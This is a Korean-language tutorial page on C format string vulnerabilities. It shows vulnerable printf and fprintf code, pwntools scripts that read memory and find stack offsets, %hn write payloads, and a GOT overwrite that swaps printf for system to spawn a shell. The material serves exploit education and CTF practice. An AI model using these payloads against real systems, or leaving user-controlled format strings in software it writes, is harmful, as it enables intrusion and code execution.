Format Strings

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Basic Information

C에서 **printf**는 문자열을 출력하는 데 사용할 수 있는 함수입니다. 이 함수가 기대하는 첫 번째 매개변수는 형식 지정자가 포함된 원시 텍스트입니다. 이 원시 텍스트의 형식 지정자를 대체할 값이 다음 매개변수로 기대됩니다.

다른 취약한 함수로는 **sprintf()**와 **fprintf()**가 있습니다.

취약점은 공격자 텍스트가 이 함수의 첫 번째 인수로 사용될 때 발생합니다. 공격자는 printf 형식 문자열 기능을 악용하여 특별한 입력을 만들어 읽기 및 쓰기 가능한 모든 주소의 데이터를 읽고 쓸 수 있습니다. 이렇게 해서 임의 코드를 실행할 수 있습니다.

Formatters:

bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

예시:

  • 취약한 예:
c
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • 일반 사용:
c
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • 누락된 인수와 함께:
c
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf 취약점:
c
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

포인터 접근

형식 **%<n>$x**에서 n은 숫자로, printf에 스택에서 n번째 매개변수를 선택하도록 지시합니다. 따라서 printf를 사용하여 스택에서 4번째 매개변수를 읽고 싶다면 다음과 같이 할 수 있습니다:

c
printf("%x %x %x %x")

첫 번째부터 네 번째 매개변수까지 읽을 수 있습니다.

또는 다음과 같이 할 수 있습니다:

c
printf("%4$x")

그리고 네 번째를 직접 읽습니다.

공격자가 printf 매개변수를 제어한다는 점에 유의하세요. 이는 기본적으로 그의 입력이 printf가 호출될 때 스택에 있을 것임을 의미하며, 이는 그가 스택에 특정 메모리 주소를 쓸 수 있음을 의미합니다.

caution

이 입력을 제어하는 공격자는 스택에 임의의 주소를 추가하고 printf가 이를 접근하게 할 수 있습니다. 다음 섹션에서는 이 동작을 사용하는 방법에 대해 설명합니다.

임의 읽기

형식 지정자 **%n$s**를 사용하여 **printf**가 n 위치에 있는 주소를 가져오고 문자열처럼 출력할 수 있습니다(0x00이 발견될 때까지 출력). 따라서 바이너리의 기본 주소가 **0x8048000**이고, 사용자 입력이 스택의 4번째 위치에서 시작된다는 것을 알고 있다면, 다음과 같이 바이너리의 시작 부분을 출력할 수 있습니다:

python
from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

caution

입력의 시작 부분에 0x8048000 주소를 넣을 수 없다는 점에 유의하세요. 문자열은 해당 주소의 끝에서 0x00으로 잘리기 때문입니다.

오프셋 찾기

입력에 대한 오프셋을 찾으려면 4 또는 8 바이트(0x41414141)를 보내고 **%1$x**를 뒤에 붙인 다음 A's를 검색할 때까지 값을 증가시킬 수 있습니다.

브루트 포스 printf 오프셋
python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()

# Start a new process of the "chall" binary
p = process("./chall")

# Send the payload to the process
p.sendline(payload)

# Read and store the output of the process
output = p.clean()

# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break

# Close the process
p.close()

얼마나 유용한가

임의 읽기는 다음과 같은 용도로 유용할 수 있습니다:

  • 메모리에서 바이너리를 덤프하기
  • 민감한 정보가 저장된 메모리의 특정 부분에 접근하기 (예: CTF 챌린지에서의 카나리, 암호화 키 또는 사용자 정의 비밀번호)

임의 쓰기

포맷터 **%<num>$n**은 지정된 주소에 쓰기 바이트 수를 기록합니다. 공격자가 printf를 사용하여 원하는 만큼의 문자를 쓸 수 있다면, 그는 **%<num>$n**을 사용하여 임의의 숫자를 임의의 주소에 쓸 수 있게 됩니다.

다행히도, 숫자 9999를 쓰기 위해 입력에 9999개의 "A"를 추가할 필요는 없으며, 대신 포맷터 **%.<num-write>%<num>$n**을 사용하여 <num-write> 숫자를 num 위치가 가리키는 주소에 쓸 수 있습니다.

bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

그러나 일반적으로 0x08049724와 같은 주소를 작성하기 위해 (한 번에 작성하기에는 매우 큰 숫자임) **$hn**이 $n 대신 사용된다는 점에 유의해야 합니다. 이렇게 하면 2바이트만 작성할 수 있습니다. 따라서 이 작업은 주소의 가장 높은 2바이트와 가장 낮은 2바이트에 대해 각각 두 번 수행됩니다.

따라서 이 취약점은 임의의 주소에 무엇이든 쓸 수 있게 합니다.

이 예제에서 목표는 GOT 테이블의 함수의 주소를 덮어쓰는 것입니다. 이 함수는 나중에 호출될 것입니다. 이는 다른 임의 쓰기를 악용하여 exec 기술을 사용할 수 있습니다:

Write What Where 2 Exec

우리는 사용자로부터 인수를 받는 함수를 덮어쓰고, 이를 system 함수를 가리키도록 할 것입니다.
앞서 언급했듯이 주소를 쓰기 위해 일반적으로 2단계가 필요합니다: 먼저 주소의 2바이트를 작성하고 그 다음에 나머지 2바이트를 작성합니다. 이를 위해 **$hn**이 사용됩니다.

  • HOB는 주소의 2개의 높은 바이트를 호출합니다.
  • LOB는 주소의 2개의 낮은 바이트를 호출합니다.

그런 다음 포맷 문자열의 작동 방식 때문에 먼저 더 작은 [HOB, LOB]를 작성한 다음 다른 하나를 작성해야 합니다.

HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools 템플릿

이러한 종류의 취약점을 위한 익스플로잇을 준비하는 템플릿을 다음에서 찾을 수 있습니다:

Format Strings Template

또는 여기에서 이 기본 예제를 확인하세요:

python
from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

포맷 문자열을 통한 BOF

포맷 문자열 취약점의 쓰기 작업을 악용하여 스택의 주소에 쓰기 및 버퍼 오버플로우 유형의 취약점을 이용할 수 있습니다.

기타 예제 및 참고자료

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